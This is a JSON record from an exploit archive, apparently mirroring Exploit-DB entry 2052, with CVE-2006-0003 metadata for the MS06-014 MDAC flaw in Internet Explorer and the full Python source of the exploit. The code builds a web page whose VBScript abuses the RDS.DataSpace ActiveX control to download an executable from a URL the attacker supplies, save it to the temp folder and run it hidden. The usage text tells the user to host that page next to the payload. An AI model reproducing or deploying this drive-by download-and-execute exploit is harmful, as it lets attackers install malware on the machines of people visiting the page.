{"exploit":{"id":"EDB-2052","name":"Microsoft Internet Explorer - MDAC Remote Code Execution (RCE) (MS06-014)","description":"Microsoft Internet Explorer - MDAC Remote Code Execution (RCE) (MS06-014)","cves":["CVE-2006-0003"],"author":"redsand","published":"2006-07-21","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2052","path":"exploits/windows/remote/2052.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2052.py","vulnerabilities":[{"id":"CVE-2006-0003","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the RDS.Dataspace ActiveX control, which is contained in ActiveX Data Objects (ADO) and distributed in Microsoft Data Access Components (MDAC) 2.7 and 2.8, allows remote attackers to execute arbitrary code via unknown attack vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0003","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0003"},"updatedAt":"2024-08-07T16:18:20.629Z","retrievedAt":"2026-11-26T20:26:51.621Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2052.png?v=2","url":"https://exploitbin.com/exploits/EDB-2052","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2052/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2052/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/sh -\n\"exec\" \"python\" \"-O\" \"$0\" \"$@\"\n\n__doc__ = \"\"\"[BL4CK] - MS06-014\n\nRDS.DataStore - Data Execution\nCVS-2006-0003\nMS06-014\n\nApril 2006\n\n*** this is a bit out-dated, but works very well ***\n\nUsage: ./bl4ck_ms06_014.py http://omfg.what.ho.st/~user/stage2.exe index.html\n\nNow upload index.html to the same webserver hosting your\nhttp://omfg.what.ho.st/~user/stage2.exe\n\n                            - redsand@blacksecurity.org\n\"\"\"\n\n__version__ = \"1.0\"\n\nimport sys, random\n\nclass MS06014:\n\n    __version = \"'[BL4CK] MS06-014 \" + __version__ + \"\\r\\n\"\n\n\n    __html = \"\"\"\n    <title></title>\n    <head></head>\n\n    <body>\n\n    <script language=\"VBScript\">\n\n    on error resume next\n\n    BL4CK_PAYLOAD\n\n    </script>\n    <head>\n    <title>[BL4CK] || 404 Not Found</title>\n    </head><body>\n    <h1>Not Found</h1>\n    pwn3d!!\n    <hr>\n    <!-- <script>location.href='http://google.com'</script> -->\n    </body>\n\n    </html>\n\n    \"\"\"\n\n    __payload = \"\"\"\n\n    ' due to how ajax works, the file MUST be within the same local domain\n    dl = \"URLFILE\"\n\n    ' create adodbstream object\n    Set df = document.createElement(\"object\")\n    df.setAttribute \"classid\", \"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36\"\n    str=\"Microsoft.XMLHTTP\"\n    Set x = df.CreateObject(str,\"\")\n\n    a1=\"Ado\"\n    a2=\"db.\"\n    a3=\"Str\"\n    a4=\"eam\"\n    str1=a1&a2&a3&a4\n    str5=str1\n    set S = df.createobject(str5,\"\")\n    S.type = 1\n\n    ' xml ajax req\n    str6=\"GET\"\n    x.Open str6, dl, False\n    x.Send\n\n    ' Get temp directory and create our destination name\n    fname1=\"bl4ck.com\"\n    set F = df.createobject(\"Scripting.FileSystemObject\",\"\")\n    set tmp = F.GetSpecialFolder(2) ' Get tmp folder\n    fname1= F.BuildPath(tmp,fname1)\n    S.open\n    ' open adodb stream and write contents of request to file\n    ' like vbs dl+exec code\n    S.write x.responseBody\n    ' Saves it with CreateOverwrite flag\n    S.savetofile fname1,2\n\n    S.close\n    set Q = df.createobject(\"Shell.Application\",\"\")\n    Q.ShellExecute fname1,\"\",\"\",\"open\",0\n\n    \"\"\"\n\n    def\t__init__(self, file):\n\n\tself.__file = file\n\n\n\n    def bl4ck(self):\n\tself.__payload = self.__payload.replace(\"URLFILE\",self.__file)\n\n\tencoded = self.__payload\n\n\tret = self.__html.replace(\"BL4CK_PAYLOAD\",encoded)\n\n\treturn ret\n\n\nif __name__ == '__main__':\n\n\turl=False\n\tout=False\n\n\tprint \"[BL4CK] MS06-014 - redsand@blacksecurity.org\"\n\tprint \"url path to file must be on the same domain as the htm file\"\n\tprint \"http://blacksecurity.org\\r\\n\"\n\n\n\targc = len(sys.argv)\n\tif(argc <= 2):\n        \tprint \"USAGE: %s <download url> <outfile>\" % sys.argv[0]\n        \tsys.exit(0)\n\tif(argc > 1):\n       \t\turl = sys.argv[1]\n\tif(argc > 2):\n        \tout = sys.argv[2]\n\n        ms = MS06014(url)\n\n       \tret = ms.bl4ck()\n\n\n\ttry:\n\t    fsock = open(out, \"w+\", 0)\n\t    try:\n\t        fsock.write(ret );\n\t    finally:\n\t        fsock.close()\n\texcept IOError:\n\t    pass\n\n\tprint \"Wrote %r bytes to: %s\" % (len(ret),out)\n\n# milw0rm.com [2006-07-21]","sha256":"17ab274927abeba02f7b1d23ab12ba16829c224a3d0c98f178ee248e9b96fa06","bytes":2949,"fetchedAt":"2026-11-27T03:08:03.591Z","encoding":"utf-8 (display only; download retains original bytes)"}